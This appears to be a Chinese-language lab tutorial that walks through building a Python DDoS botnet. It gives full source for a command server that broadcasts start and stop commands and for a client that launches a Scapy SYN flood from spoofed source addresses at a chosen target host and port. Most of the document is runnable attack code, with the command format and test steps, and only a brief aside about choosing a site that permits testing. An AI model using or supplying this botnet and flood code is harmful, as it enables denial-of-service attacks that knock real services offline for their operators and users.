本實驗摘自實驗樓:https://www.shiyanlou.com/courses/683/learning/?id=2238
一、實驗說明
1.1 實驗介紹
通過上一節實驗的SYN
泛洪攻擊結合Socket
實現DDoS攻擊。
1.2 開發環境
- Ubuntu Linux
- Python 3.x版本
1.3 知識點
本次實驗將涉及以下知識點:
- argparse 命令解析
- socket的基本用法
1.4 效果圖
二、理論知識
2.1 實現思路
由於上節實驗我們已經實現了SYN泛洪攻擊
,而DDoS則是多臺主機一起發起攻擊,我們只需要能發送命令,讓連接到服務器的客戶端一起向同一目標發起攻擊就可以了。
對安全領域比較關注的朋友可能都知道世界最大的黑客組織Anonymous
經常使用LOIC(Low Orbit Ion Cannon,低軌道離子炮)
進行大規模的DDoS。LOIC
有個HIVEMIND
模式,用戶可以通過連接到一臺IRC服務器,當有用戶發送命令,任何以HIVEMIND
模式連接到IRC服務器的成員都會立即攻擊該目標!
這種方式的優點是不需要傀儡機,可以有很多“志同道合”
的人一起幫助你實現DDoS,不過不太適合在傀儡機中使用。當然實現思路有很多,根據不同情況的選擇也會不同。而這裏我們將採用客戶端、服務器的方式來實現DDoS,這種方式非常簡單,可擴展性也比較強。
2.2 argparse模塊
由於Server端需要發送命令去控制Client端發起攻擊,所以這裏我們先規定好命令格式:
'#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>'
-H
後面是被攻擊主機的IP地址,-p
指定被攻擊的端口號,-c
控制攻擊的開始與停止。
命令制定好了,現在我們來學習一下命令解析庫argparse
的用法。看過我其他實驗的同學可能已經瞭解argparse
的用法了,這裏可以跳過或者當做複習重新學習一遍。 先來看一下argparse
的文檔:
在文檔的描述中,可以看出argparse
是一個命令行解析庫,代替了老版本的optparse
。下面我們通過一個例子一起了解一下argparse
的基本用法!
#導入argparse庫
import argparse
#創建ArgumentParser對象
parser = argparse.ArgumentParser(description='Process some integers.')
#添加參數
parser.add_argument('-p', dest='port', type=int,
help='An port number!')
#解析命令行參數
args = parser.parse_args()
print('Port:',args.port)
上面的例子中,我們創建了一個ArgumentParser
對象,description
參數是對命令行解析的一個描述信息,通常在我們使用-h
命令的時候顯示。add_argument
添加我們要解析的參數,這裏我們只添加了一個-p
參數,dest
是通過parse_args()
函數返回的對象中一個屬性的名稱。type
大家應該很好理解,就是解析參數的類型。help
指定的字符串是爲了自動生成幫助信息。argparse
默認就支持-h
參數,只要我們在添加參數的時候指定了help
的值就可以生成幫助信息了。
2.3 socket模塊
Python中的socket
提供了訪問BSDsocket
的接口,可以非常方便的實現網絡中的信息交換。通常我們使用socket
的時候需要指定ip地址、端口號以及協議類型
。在進行socket
編程之前我們先了解一下客戶端(Client)和服務器(Server)
的概念。通俗的講主動發起連接請求的稱爲客戶端
,監聽端口響應連接的我們稱爲服務器
。 下面我寫一個客戶端和服務器的例子:
客戶端
#導入socket庫
import socket
#創建socket:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#建立連接
s.connect(('192.168.0,100', 7786))
在上面的這個例子我們首先導入socket庫,然後創建了一個socket對象,socket對象中的參數AF_INET
表示我們使用的是IPV4協議,SOCK_STREAM
則表示我們使用的是基於流的TCP協議。最後我們指定ip地址
和端口號
建立連接。
服務器
#導入socket庫
import socket
cliList = []
#創建socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#綁定地址和端口號
s.bind(('0.0.0.0', 7786)):
#開始監聽
s.listen(10)
while True:
# 接受一個新的連接:
sock, addr = s.accept()
#將sock添加到列表中
cliList.append(sock)
可以看到服務器的寫法稍稍比客戶端複雜一些,在創建玩socket之後,要綁定一個地址和端口,這裏的0.0.0.0
表示綁定到所有的網絡地址,端口號只要不是已經使用的端口號就可以了。之後開始監聽端口,並在參數中指定最大連接數爲10。最後我們循環等待新的連接,並將已連接的sock對象添加到了一個列表中。注意這裏accept()
默認是阻塞的,還可以通過settimeout()
設定等待時間或者setblocking()
設置爲非阻塞模式,更多的相關細節可以查看Python官方文檔。
三、編碼實現
3.1 Server端
由於Server端能等待Client主動連接,所以我們在Server端發送命令,控制Client端發起SYN泛洪攻擊
。
實現主函數的完整邏輯,在主函數中我們創建socket, 綁定所有網絡地址
和58868
端口並開始監聽,之後我們新開一個線程來等待客戶端的連接,以免阻塞我們輸入命令。
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 58868))
s.listen(1024)
t = Thread(target=waitConnect,args=(s,))
t.start()
由於我們要給所有客戶端發送命令,所以我們在新開的線程中將連接進來的socket添加到一個list中,這個我們稍後介紹,但在主函數中我們第一次輸入命令之前需要至少有一個客戶端連接到服務器,所以這裏我們判斷了一下socket
的長度。
print('Wait at least a client connection!')
while not len(socketList):
pass
print('It has been a client connection!')
現在循環等待輸入命令,輸入之後判斷命令是否滿足命令格式的基本要求,如果滿足了,我們就把命令發送給所有客戶端。
while True:
print('=' * 50)
print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"')
#等待輸入命令
cmd_str = input('Please input cmd:')
if len(cmd_str):
if cmd_str[0] == '#':
sendCmd(cmd_str)
現在我們程序的大體框架已經有了,現在我們來編寫主函數中沒有完成的子功能。 首先我們應該實現等待客戶端的函數,方便開啓新的線程。
在這個函數中,我們只需要循環等待客戶端的連接就可以了,新連接的socket要判斷一下是否在socketList中已經存儲過了,如果沒有的話就添加到socketList中。
#等待連接
def waitConnect(s):
while True:
sock,addr = s.accept()
if sock not in socketList:
socketList.append(sock)
我們再來實現發送命令的函數,這個函數我們遍歷socketList這個列表,將每個socket都調用一次send
將命令發送出去。
#發送命令
def sendCmd(cmd):
print('Send command......')
for sock in socketList:
sock.send(cmd.encode('utf-8'))
至此我們的Server端
就完成了,是不是很簡單!當然我們只是實現了基本功能,還有很多可以擴展,這個就留給同學們發揮了,舉一反三進步纔會快!
在 /home/shiyanlou/
目錄下新建 DDOS
文件夾,並在文件夾中新建 ddosSrv.py
文件作爲Server端,向其中添加如下代碼:
import socket
import argparse
from threading import Thread
socketList = []
#命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>'
#發送命令
def sendCmd(cmd):
print('Send command......')
for sock in socketList:
sock.send(cmd.encode('utf-8'))
#等待連接
def waitConnect(s):
while True:
sock,addr = s.accept()
if sock not in socketList:
socketList.append(sock)
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 58868))
s.listen(1024)
t = Thread(target=waitConnect,args=(s,))
t.start()
print('Wait at least a client connection!')
while not len(socketList):
pass
print('It has been a client connection!')
while True:
print('=' * 50)
print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"')
#等待輸入命令
cmd_str = input('Please input cmd:')
if len(cmd_str):
if cmd_str[0] == '#':
sendCmd(cmd_str)
if __name__ == '__main__':
main()
3.2 Client端
我們將在Client端實現對主機的SYN泛洪攻擊
,並在腳本啓動後主動連接Server端,等待Server端發送命令。
還是先看主函數了解一下整體思路,在主函數中我們先創建ArgumentParser()
對象,並將需要解析的命令參數添加好。
def main():
p = argparse.ArgumentParser()
p.add_argument('-H', dest='host', type=str)
p.add_argument('-p', dest='port', type=int)
p.add_argument('-c', dest='cmd', type=str)
現在可以創建socket,連接服務器了。這裏爲了測試我們連接到本地地址的58868端口吧!之後我們就可以等待服務器發送命令了。
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',58868))
print('To connected server was success!')
print("=" * 40)
cmdHandle(s,p)
except:
print('The network connected failed!')
print('Please restart the script!')
sys.exit(0)
我們將接收命令和處理命令定義在了一個單獨的函數中。在這裏我們用到了一個全局變量,用於判斷是否有進程正在發起SYN泛洪攻擊。之後就開始循環接收命令了,接收之後到的數據是byte
型,我們需要對其進行解碼,解碼之後纔是字符串。如果接收到的數據長度爲0,就跳過後續的內容,重新接收數據。
#處理命令
def cmdHandle(sock,parser):
global curProcess
while True:
#接收命令
data = sock.recv(1024).decode('utf-8')
if len(data) == 0:
print('The data is empty')
continue
如果數據的長度不爲0,就判斷是否具有命令基本格式的特徵(#
),滿足基本條件就需要用我們的ArgumentParser
對象來解析命令了。
if data[0] == '#':
try:
#解析命令
options = parser.parse_args(data[1:].split())
m_host = options.host
m_port = options.port
m_cmd = options.cmd
命令參數解析出來後,我們就要判斷到底是start
命令還是stop
命令了,如果是start
命令,我們首先判斷當前是否有進程在運行,如果有進程判斷進程是否存活。如果當前有進程正在發起SYN泛洪攻擊
,我們就先結束這個進程,並清空屏幕。然後我們就直接啓動一個進程,發起SYN泛洪攻擊
。
#DDoS啓動命令
if m_cmd.lower() == 'start':
if curProcess != None and curProcess.is_alive():
#結束進程
curProcess.terminate()
curProcess = None
os.system('clear')
print('The synFlood is start')
p = Process(target=synFlood,args=(m_host,m_port))
p.start()
curProcess = p
如果命令是stop
,並且有進程存活,我們就直接結束這個進程,並清空屏幕。否則就什麼也不做。
#DDoS停止命令
elif m_cmd.lower() =='stop':
if curProcess.is_alive():
curProcess.terminate()
os.system('clear')
except:
print('Failed to perform the command!')
由於SYN泛洪攻擊
我們在上一節實驗中已經實現,這裏就不多介紹了。
在 /home/shiyanlou/DDOS
目錄下新建 ddosCli.py
文件作爲Client端,向其中添加如下代碼:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import sys
import socket
import random
import argparse
from multiprocessing import Process
from scapy.all import *
import os
isWorking = False
curProcess = None
#SYN泛洪攻擊
def synFlood(tgt,dPort):
print('='*100)
print('The syn flood is running!')
print('='*100)
srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
for sPort in range(1024,65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
packet = ipLayer / tcpLayer
send(packet)
#命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start>'
#處理命令
def cmdHandle(sock,parser):
global curProcess
while True:
#接收命令
data = sock.recv(1024).decode('utf-8')
if len(data) == 0:
print('The data is empty')
return
if data[0] == '#':
try:
#解析命令
options = parser.parse_args(data[1:].split())
m_host = options.host
m_port = options.port
m_cmd = options.cmd
#DDoS啓動命令
if m_cmd.lower() == 'start':
if curProcess != None and curProcess.is_alive():
curProcess.terminate()
curProcess = None
os.system('clear')
print('The synFlood is start')
p = Process(target=synFlood,args=(m_host,m_port))
p.start()
curProcess = p
#DDoS停止命令
elif m_cmd.lower() =='stop':
if curProcess.is_alive():
curProcess.terminate()
os.system('clear')
except:
print('Failed to perform the command!')
def main():
#添加需要解析的命令
p = argparse.ArgumentParser()
p.add_argument('-H', dest='host', type=str)
p.add_argument('-p', dest='port', type=int)
p.add_argument('-c', dest='cmd', type=str)
print("*" * 40)
try:
#創建socket對象
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#連接到服務器端
s.connect(('127.0.0.1',58868))
print('To connected server was success!')
print("=" * 40)
#處理命令
cmdHandle(s,p)
except:
print('The network connected failed!')
print('Please restart the script!')
sys.exit(0)
if __name__ == '__main__':
main()
四、程序測試
準備工作都做好了,現在我們來測試一下我們的腳本是否能完成我們的任務。
首先我們運行Server端
腳本:
sudo python3 ddosSrv.py
然後運行Client端
腳本,記住這裏一定要用root
權限來運行:
sudo python3 ddosCli.py
可以看到Client端
已經提示連接成功了
Server端
也提示有一個客戶端連接了,而且可以輸入命令了。
我們輸入一個命令測試一下,爲了維護綠色的網絡環境,最好找個允許測試的站點:
#-H x.x.x.x -p 80 -c start
看看Client端
是否已經開始SYN泛洪攻擊了
:
Client端
已經開始發送數據包了,說明已經發起了SYN泛洪攻擊
。至此我們的實驗就全部完成了。
五、總結
通過這兩節的實驗我們應該已經掌握了基於Scapy DDoS攻擊的實現方法,其實方法還有很多,同學們可以根據本次實驗擴展一下,使本次實驗的腳本更加完善或者採用新的方式實現DDoS。 下面總結一下這兩次實驗所涉及到的知識點:
- 使用
Scapy
實現SYN數據包 - Python中
argparse
的用法 - Python中
socket
的用法 - 使用socket實現
客戶端
與服務器
六、擴展閱讀